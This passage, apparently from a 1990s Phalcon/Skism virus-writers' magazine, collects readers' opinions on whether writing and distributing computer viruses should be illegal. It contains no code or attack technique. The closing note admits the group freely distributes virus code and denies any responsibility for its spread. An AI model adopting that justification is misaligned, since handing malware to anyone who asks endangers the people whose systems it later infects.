partly the responsibility of the SELLER to keep guns from spreading
to unqualified people.
Now the question rises: can a computer Virus be compared to a GUN.
I think it can: both are harmless until employed in a dangerous
fashion.
In short computer viruses provide a threat to our society. Current
law prohibits possession of objects that pose a threat to society.
(Partly because this makes it easier to prosecute people that most
likely want to employ these objects in a bad way).
--------------------------
From: Josh@lehigh
Absolutely not. It's a crummy, unethical, lousy, rotten, thing to do,
but making it illegal to write *any* type of a computer program is
reminiscent of George Orwell's "1984" and Big Brother. There is also
too much speculation as to what a clear-cut, 100% absolute definition
of a computer virus is. If it's just something that remains in memory
and does something the user is not fully aware of, you're eliminating
a significant number of useful programs such as disk caches and even
virus scanners--how many people are fully aware of the mechanical
workings of a virus scanner or a disk cache? Other definitions can
be twisted in similar manners, making just about everything a "virus"
in some aspect.
--------------------------
From Oliver in the UK:
I believe that it should not only be Federally illegal, but Internationally
illegal to write a computer virus. However, one should look at the
difficulty of enforcing such a law. From what point onwards does
a program qualify as a virus; those questions, looking at the heated
regular debate on virus-l, are far from being answered categorically.
The bottom line, IMHO, is that enforcement of a federal law against
computer viruses writing is very hard. Moreover, most academic and
company sites forbid their users in using computing facilities for
writing viruses anyway, and it should be up to them to make sure
locally that no viruses are written on their facilities.
--------------------------
From Jay:
Of course not, this is a first amendment right in the USA. Writing a
virus is no different than writing any other computer program. Many
"normal" computer programs share common coding methods with viruses.
Who is to say that you intend malice by writing a small chunk of
software? Are we supposed to sit down and have code reviews with
federal agents in random spot checks to make sure we aren't writing
malicious code? That's silly.
--------------------------
From Ed:
No. This is not the correct way to deal with the virus problem.
Any form of restriction placed upon what someone does with their own
computer would be unconstitutional, as it removes our personal rights.
It has been said that the more numerous the laws, the more corrupt the
state. As the law stands, you can do what you want out *your* computer,
but as soon as you infect *mine* it becomes illegal, and that is the
way it must remain, or else the rights of everyone will be damaged.
*******************************************************************************
2) Should it be Federally illegal to distribute computer viruses,
to KNOWING individuals (ie on "virus" boards)? (This does NOT
mean infecting another person with a virus - it means giving
them a copy of a virus, and making sure they KNOW it is a virus)
*******************************************************************************
David:
"Again, no. The distribution of information should be constitutionally
protected. There are legitimate reasons why someone may want or need
the source or executable form of a virus. The most obvious is in the
field of virus research. It is necessary to obtain the virus in question
in order to devise a vaccine for it. Security through obscurity
has been tried before; it's great until some "unauthorized" person
gets hold of some information others are hiding. He's free to use
it to great success because the legitimate users don't know exactly
what he's got, making it hard to devise a defense.
A good example of this type of argument might be:
Criminals have guns. It should be illegal to have
a gun. In fact, let's keep the "knowing individuals"
(ie. the police) from having them too... "
___________________________
From: an11445@anon.penet.fi:
just because you make sure they KNOW it's a virus does not mean they
will not do some destructive thing with it, perhaps even unintentionally.
in my paper, 'circular time line model for addressing the impact of virus
exchange bbs', i support the conclusion that it will not especially help
to do this, and that it may not be even the most efficient way to deal
with the problem of computer viruses.
if people will not do the things that are right, however, they force
people to do the things that are wrong, in this case.
---------------------------
From: an10445@anon.penet.fi (Cutthroat):
No.
A weak system can be hit by a virus. A strong system is less likely to
be hit by a virus.
Make computers more secure. Viruses will always exist.
---------------------------
From: an2284@anon.penet.fi
> 2) Should it be Federally illegal to distribute computer viruses,
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
> mean infecting another person with a virus - it means giving
> them a copy of a virus, and making sure they KNOW it is a virus)
Nope. It's just *executable* code this time. :-)
---------------------------
From: an11290@anon.penet.fi: (Roger)
> 2) Should it be Federally illegal to distribute computer viruses,
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
> mean infecting another person with a virus - it means giving
> them a copy of a virus, and making sure they KNOW it is a virus)
Following the reasoning in the answer to the last question: yes. However
I think there is a difference between distributing the actual code and
only pseudo code. It's like telling someone the principle of an atom bomb,
or sending him a "do it yourself kit". The last is certainly beyond the
limit, whereas the first isn't.
---------------------------
From Josh@lehigh:
Doing so would absolutely cripple virus-fighting developments. If a
user cannot legally send a virus-infected program to the author of a
virus scanner/cleaner, it becomes impossible for the utility to detect
and/or remove that type of virus unless the author somehow becomes
accidentally infected by it.
---------------------------
From Oliver in the UK:
> 2) Should it be Federally illegal to distribute computer viruses,
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
> mean infecting another person with a virus - it means giving
> them a copy of a virus, and making sure they KNOW it is a virus)
Yes. Virus boards, etc. are all nests for hackers-crackers & people
envolved in the "computer-underworld". Distribution of sources on
BBS to knowing individuals can only add to the spread of computer
viruses. In addition to that, so many people would then be able to
modify the original source code, that one would end-up with a
virtually unlimited number of variants of each virus - definitely
the horror scenario.
---------------------------
From Paul Ferguson:
That depends. If it can be proven in a court of law that the
provider of the computer virus knew before-hand that recipient
would irresponsibly allow it to pass into the hands of someone
who would a.) willingly transplant it into an unsuspecting public
domain or b.) modify it and then release it into an unsuspecting
public domain, then YES, I believe that is wrongful action that
should be illegal. If the program (virus) is passed amongst two
trusted individuals with little or no chance of it "escaping"
into the public domain, then that is a matter of personal
transaction which does not affect other computerists.
---------------------------
From Jay:
> 2) Should it be Federally illegal to distribute computer viruses,
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
> mean infecting another person with a virus - it means giving
> them a copy of a virus, and making sure they KNOW it is a virus)
Of course not, if you write a note on a piece of paper and share it with
a friend, is that a federal offense? What if that note contains information
that could show your friend how to kill someone? What if the note contains
a beautiful little poem that happens to describes how to kill someone?
Software is a vehicle for expressing an idea or concept, no different from
the written word. If there is no malice, there is no crime. It's not
illegal to infect someone with a virus if you don't know that you passed
it along, so why should it be illegal to give away a virus to someone
who can handle it?
---------------------------
From Ed:
> Should the distribution of viruses to knowing individuals be illegal?
Again, no. One reason is that I doubt very many virus authors would
heed such a law, and so only the anti-virus community would suffer,
making conditions worse. Another reason is the First Ammendment of the
Constitution of the United States, which guarantees freedom of speech
to everyone. Distribution of viral code is a form of speech, as it is
a transfer of data and information. If it weren't for virus transactions,
no one virus scanner would be very complete, as each would only detect
a handful of viruses, and one would have to obtain a copy of every scanner
to have a complete detection system.
*******************************************************************************
3) If executable virus code is illegal, then should the SOURCE code
to the viruses be illegal to copy, sell, or other wise distribute?
*******************************************************************************
David:
"I don't agree that either should be illegal, but outlawing the source
would make it much more difficult to devise a defense. It's an extension
of the above argument..."
----------------------------
From: an11445@anon.penet.fi:
>> 3) If executable virus code is illegal, then should the SOURCE code
>> to the viruses be illegal to copy, sell, or other wise distribute?
If, then; else not. but should be not to begin with.
----------------------------
From: an11184@anon.penet.fi
The answers arise from my views about individual freedom for every human.
Governments should interfere as little as possible in this.
---------------------------
From: an10445@anon.penet.fi (Cutthroat):
No.
A virus is less likely to be "accidently" released if it exists only
as source code.
Viruses are much easier to study for "legitimate" security purposes
if it is released as source code.
---------------------------
From Josh@lehigh:
For similar reasons to 1) above, the thought is abhorrent. Taking an
extreme example, suppose I was to write a compiler. The source code
for this compiler consists of any text file, and its output is a file
infector which randomly stamps the source code (text file) on someone's
hard drive. Therefore, your resume, your letters--in short, any text
you have whatsoever--becomes source code for a virus. Big brother
returns--and with a vengeance.
---------------------------
From Oliver in the UK:
> 3) If executable virus code is illegal, then should the SOURCE code
> to the viruses be illegal to copy, sell, or other wise distribute?
See the answer to 2. The SOURCE code is even more lethal than the
executable. The only way that such code would be transfered, should
be for research purposes. I am talking here about serious scientific
research. The more people that have access to source viral code, the
more likely it is for non-authorised people to have access to it.
In scientific research, a researcher has access to chemicals & data
which (s)he is often not entitled to take out of the lab. The same
should be for viral code.
The argument of making Viral Code available to the public "because this
is the only way to get to know about computer viruses" is hence a
stupid argument. The sole purpose of releasing viral source code to
the public is misleadingly "for informational purposes only" and can
alas only lead to further propagation of the virus itself, as well as
new variants.
---------------------------
From Paul Ferguson:
Executable code of any kind should not ever (and will not, IMHO)
be illegal. That is absurd. It is the use of said code that would
constitute a violation of another's practice of safe computing. If
this code (viruses) are released into the public domain, I consider
it a practice of reckless computing. Hey, we have laws against
reckless driving and reckless endangerment, why not reckless
computing?
---------------------------
From Jay:
> 3) If executable virus code is illegal, then should the SOURCE code
> to the viruses be illegal to copy, sell, or other wise distribute?
Executable code shouldn't be illegal. Is it illegal to translate a book
from English to Spanish? Can you translate a book from English to Spanish
without knowing either language? You CAN convert source code to executable
code without knowing the source language, or assembly/machine code.
Let's assume that I was to give a computer illiterate friend, a floppy
containing source code to computer mortgage payments, a public domain
compiler, and instructions for compiling the application, "type MAKE".
Lets also assume that I received the source code from someone else, and
the code contained a virus hidden in the source (in source code form) that
I was unaware of. If the friend follows the instructions, and compiles
the virus did he break the law? He thought he was just getting a program
to calculate mortgage payments. Am I guilty of a crime? I just gave a
friend some innocent source code. This is ludicrous.
If source code for a virus causes no problems for either the giver or
receiver, why should it be banned? If I write a book that contains a
series of instructions that detail a plan to overthrow the US goverment,
is that a crime? If I sell the book, is that criminal? Tom Clancy does
it...he sells millions. If I write a book that details instructions
for overthrowing MSDOS, is that crime? What if I choose distribute it
electronically?
This is all stupid, prohibiting information doesn't work.
The bottom line is that if an act was done with malice, there may
be a crime, if the act was done without malice, there is no crime.
---------------------------
From Ed:
> If executable virus transfer is made illegal, should source code be
> restricted as well?
I would prefer that neither are made illegal, but if this situation were
to arise, I would have to say no. Source code qualifies for the First
Ammendment more so than viral samples. Now, I'm not saying it's justified
to go and give source code to anyone who asks for it, after all why do you
think there are so many variants of Vienna and Pixel? But legal action used
to restrict the actual transactions of viral material is not a valid course
of action, practically or ethically.
I can not condone distribution of viral samples to anyone who asks for it
(especially "Nuke-EM!!" types), however I've found that many anti-viral
researchers simply can't obtain the samples they need because they aren't in
the "inner circle" of trusted anti-virus vendors. It's a very difficult
issue to deal with, as to how to deal with virus distribution, such as
who should be allowed to procure the viruses they need, and who shouldn't.
It's an ethical and moral delemma, but one this is for sure, it should not
be illegal!
*****************************************************************************
Please mail me with YOUR opinions to the above, and feel free to
explain your views, or present other opinions you may have.
*****************************************************************************
From: an11445@anon.penet.fi:
There are already enough laws in existance. we do not need more laws.
we need people who know how to interpret the existing laws in light of
the societal and technological changes in our society.
---------------------------
From Marc:
There is no statement of illegality in this domain that
wouldn't lead inexorably to the licensing of anti-virus
software developers and the stifling of most forms of
independent research into system security. You would end up
with the same kind of idiocy that makes it impossible to use
certain drugs as medicines or even to do research with them.
You would also end up having to give the police extraordinary
powers to enable enforcement, as in all cases of victimless
crime.
---------------------------
----------------------------------------------------------------------------
Note From DecimatoR: The following conversation was between myself and
Oliver, the one person who stated that everything dealing with the creation
of viruses should be internationally controlled. Since his opinions differed
so strongly from mine, and most of those I recieved, I chose to include our
conversation here, unedited. I appreciate the time he took in corresponding
with me. Thanks, guy.
----------------------------------------------------------------------------
(The quoted text is from me, the others from him. Like you couldn't tell)
From Oliver:
Hello,
I got your 2 emails regarding the fact that I was the only
person to favour a full clampdown on viruses etc.
Let me answer the direct questions in your 2 emails:
>Your response so far has been the only one which out-and-out said that YES,
>viruses, source code for them, etc should be internationally illegal. I
>actually thought there would be more opinions like yours, however this seems
>not to be the case. So, if you don't mind, I'd like a little more insight
>into your ideas. I noticed you were from London, where there have recently
>been arrests of people who write and sell viruses. I assume you agree that
>the government has the right to make such an arrest. My question to you:
Yes, I agree with the government regarding those arrests.
>where do you draw the line regarding censorship? Many respondents claimed
>that banning the writing of viruses would be censorship, to an extreme they
>are NOT willing to tolerate. You think differently. So, where do you think
>the line should be drawn? With viruses? Maybe "trojanized" code? Or code
>that will disable itself after x number of runs?
This is a very difficult line to draw. I think that the first selection that
one must make is whether the code is to destroy data, or will simply
replicate (like a worm). The easiest piece of code to look at is trojanized
code. Its sole purpose is usually to destroy data. I qualify purpose-
made trojanized code as malicious vandalism. In addition to that,
"trojanization" of a commercial or public domain program itself already
breaks the law due to copyright infringements and/or license breaches.
Viruses are, also by definition, data destructors. Anyone writing a virus
and planning to distribute it should hence also be breaking the law.
Worms are supposed not to destroy data; however let us consider the fact
that a worm spreads on computer systems and a bug in the worm's code
corrupts user data. What I am trying to get to is the fact that worms
spread in people's machines without their approval, and I find this to
be morally wrong. Compare this with, say, skeleton keys of apartments
in a town. Would you support the idea of making skeleton keys, exchanging
them on "skeleton-key-BBS" legal ? It would mean that it's legal for anyone
to have skeleton keys and use them to "visit" apartments at will.
So here, we are reaching the fact that a computer's HD has now grown
to be part of someone's house, someone's belongings, someone's living
space, and that any breach of privacy is unwelcome. Since worms breach
that privacy, then wouldn't it be a protection for the public to
outlaw those worms ? So I support the fact of making all code that
self-replicates from system to system illegal.
>Doesn't the intervention of the government in such areas bother you? If
>not, why not? Obviously your opinions are quite different than mine.
No. The government has many duties towards the people of a country, and
one of them is protection of the people themselves. Remember, I am
not asking for the government to censor ideas, I am asking for it to
stop propagation of malicious items; people often refer to this as
censorship since we're talking about intellectual data, but this is
a big mistake. I believe that freedom will be more easily enforceable
if simple basic laws of morals can be enforced.
Consider gun laws:
- in UK, gun laws are very tough indeed. No individual is allowed to
carry a gun without special permits, and those are extremely hard to
obtain. Individuals allowed to carry a gun are usually under threat
from terrorism, etc. Those are very isolated cases. As a result, the
British police is mostly still unarmed. The number of gun-related
offenses is very low indeed, and any injury is usually caused by knives.
As a result, repression from the British police needs not be so strong.
- in USA, in some states, gun laws are very relaxed. Gun-related offenses
are high, and the US police needs to carry guns as well. The amount of
repression used by the police has to be much higher than elsewhere.
I was shocked to hear that police in USA had their gun out when stopping
a car for speeding. How "friendly" does that make them ?
Pro-gun individuals would immediately shout that any clamping-down on
guns is a breach of their freedom, etc. etc. And they even have an
advantage over pro-virus-enthusiasts that they can argue that the gun
is for their safety, while I can't think of a positive use for a virus.
>is a good thing, because I am looking for differing points of view. I
>consider England to be far too strict in censorship, and government control.
>It would really bother me to have to put up with that kind of control over
>my life. Yet you seem to agree with it.
Agreed, there are a few things which the UK government censors that I
don't agree with. But take, for example, the freedom of the press:
- Should newspapers have the right to write *anything* about *anyone* ?
Freedom of speech in this case is only possible if newspaper editors
are reasonable about what they write. But what often happens is that
editors praise their "freedom of speech" and allow defammatory articles,
made-up of lies, etc., thus hurting individuals to such an extent that
those individuals may have their life affected by that so-called "freedom-
of-speech" forever.
Full open democracy, full freedom of speech, full openness only works when
everybody is nice and kind, and no-one is malicious etc. But this unfortu-
nately isn't the case in real life. Censorship has to be applied in areas
which could hurt more people than help them.
>like your answers to a few more in-depth questions. First of all, many who
>responded said that banning viruses would be a form of censorship, one which
>they would not be willing to tolerate. How would you reply to this?
Censorship applies both to intellectual ideas, as well as material ideas.
The only thing that people make mistakes about is believing that censorship
of intellectual ideas is bad, and censorship of things (something which
may be dangerous to them - say a chemical) is okay. The big mistake made
is to think that intellectual ideas may not hurt them. Computer viruses
are thought of as intellectual ideas, and thus people usually adopt a
soft policy towards them by thinking that it cannot hurt them.
>ALso, I believe you are from England, what do you think of the recent raids
>on virus writers, and the man who was selling virueses in your country?
>Good? Bad?
I completely agree with the government on those matters. What good to society
are virus writers ? Their sole purpose was to spread their viruses
worldwide. Their initial statement (which I didn't keep a copy of,
unfortunately, thinking it was a joke) was so childishly written, I
could not believe it, but let's not divert to talk about the personality
of some virus writers. The fact is clear: Viruses can do more harm than
a lot of other things in life. Have you ever witnessed someone who has
made no backup of his work, and has had much of his work destroyed by
a virus ? We aren't talking here about a corrupted copy of Windows 3.1
that can be re-installed in 30 minutes but about 1 week's original
work from somebody. I personally haven't been hit, but I have seen people
in the labs here, and believe me, it's time we stop treating virus-writers
as "joyful hackers" that do this for fun.
>And lastly, a question: do you write computer programs? If so, then doesn't
>it bother you knowing that you are _not_allowed_ to write a certain KIND of
>program, simply because the government considers it "bad"?
I write computer programs daily, in the course of my research (which is
unrelated to viruses). I use my programming skills to develop systems
not only for my benefit but also for the benefit of mankind, through
better future telecommunication systems. My competence in programming
is high enough to write viruses, trojans, etc. but I am not attracted to
it whatsoever. If those programming geniuses (aka virus writers), devoted
their programming time to other activities than virus writing, than
perhaps they would be able to make something out of their life, instead
or ruining other people's.
But let's imagine that I was interested in writing a virus. Who would know ?
If I wrote a virus on my PC at home, and not release it, not publicize it,
not mention it to anyone, who would know ? If then I made a mistake,
and transfered it (against my will) to my computer at work, and infected
computers all around the place, then whose fault would it be ? Mine.
I would then have to be ready to face the consequences.
>think censorship and banning of code should go? And, for those who violate
>the bans, what punishment do you believe is suitable?
Banning of the code, IMHO, should be as far as public posting of the
source on BBS, distribution by any means, infection of any computer.
I am hesitating about banning the publication of flow charts for the
code, since this would involve a fair amount of work from potential
copycats. But banning of full-working virus sources is certainly a
priority.
I am not a lawyer, so it would be hard for me to expand on the form of
punishment for those violating the bans. I think that each case should
have to be taken separately, depending on the potential danger of
each piece of code, and also on the damage already inflicted (if any)
before the trial.
Cheers,
Oliver
--------------------------
Final note from Dec:
--------------------------
All in all, the majority response was that no, the coding of and distributing
of virus code should _not_ be outlawed in the United States. Of course, I
certainly feel the same way. The government should NOT be able to say that
any piece of code, no matter what the purpose or possible use may be, should
not be written. Programming is freedom of expression, and to some, even art.
To limit that with laws and stipulations not only takes away the rights of ALL
Americans, but goes against the freedoms that America was founded upon.
No matter what your point of view on viruses - be they ethical, unethical,
whether you write them or hunt them down and destroy them, I truly hope you
would never want them to be outlawed.
Of course, I should mention my views concerning the spreading of viruses to
unknowing users. I firmly believe that such action IS unethical, and, quite
simply, wrong. And yes, that action SHOULD be made illegal. Many of the
respondees to my post compared the legallities of viruses with those of
firearms. While this may be a valid comparison in some cases, in others it is
quite unrealistic. Most who used this idea said that virus code should be
restricted to those responsible enough to handle it, just like guns are
restricted to those who are responsible. I have a small problem with this.
Firearms are restricted because they can be used to cause serious or fatal
injuries. No computer virus can be used to kill another person. However, no
gun actually KILLS another person. People kill people, the gun is simply an
instrument used. Maybe a knife would be a better comparison. Just becuase
murders are committed with knives, should we restrict them? OR ban them
outright? No, of course not. Same with viruses. Although they have the
potential to be used in destructive ways, they should not be banned. The
people who abuse them should be treated as the criminals they are. The people
who create and help educate others with them should not be treated as
criminals.
We in Phalcon/Skism all believe in the freedom of information, and the right
that each and every American has to his own opinions. Yes, we've written
viruses, and yes, we have no qualms about distributing virus code. (This
magazine is one good example) No one will be injured through our actions,
because we simply cranked out this 100% ascii text magazine. We don't spread
our creations intentionally. We do distribute them to those who want them,
and sometimes people do spread them. We cannot control the actions of others.
Breaking the law is wrong. We don't break the law by programming. We don't
break the law by sharing code. Don't hold us responsible for those who use
our creations to break the law. After all, you wouldn't hold Smith and Wesson
responsible for a crime committed using one of their firearms, would you? No.
Nor would you hold GMC, Inc. responsible for a death caused by a drunk driving
one of their vehicles. They were not at fault for creating the vehicle. The
drunk was at fault for acting the way he did. Same goes for viruses, and virus
authors. Don't place the blame on the wrong party. There is a strong
difference between creation and abuse.
Next time you ponder the legality of virus writing, think about this. You
wouldn't want cars banned just because a few people don't handle them
responsibly. Attack the criminal, not the creator. And NEVER take away a
person's right to create.
--DecimatoR
Phalcon/Skism
Author's Note:
This article is dedicated to the members of the ARCV, a England based group of
virus authors, who were arrested, jailed, and had their equipment confiscated,
simply because they chose to express themselves through the creation of self-
replicating code. This is also dedicated to the man arested by Scotland Yard
on December 10th, for advertising to sell virus code in the UK.
I hope to God that NEVER would ANYONE in America need to fear for their
freedom, simply because they chose to program a computer or sell public domain
code.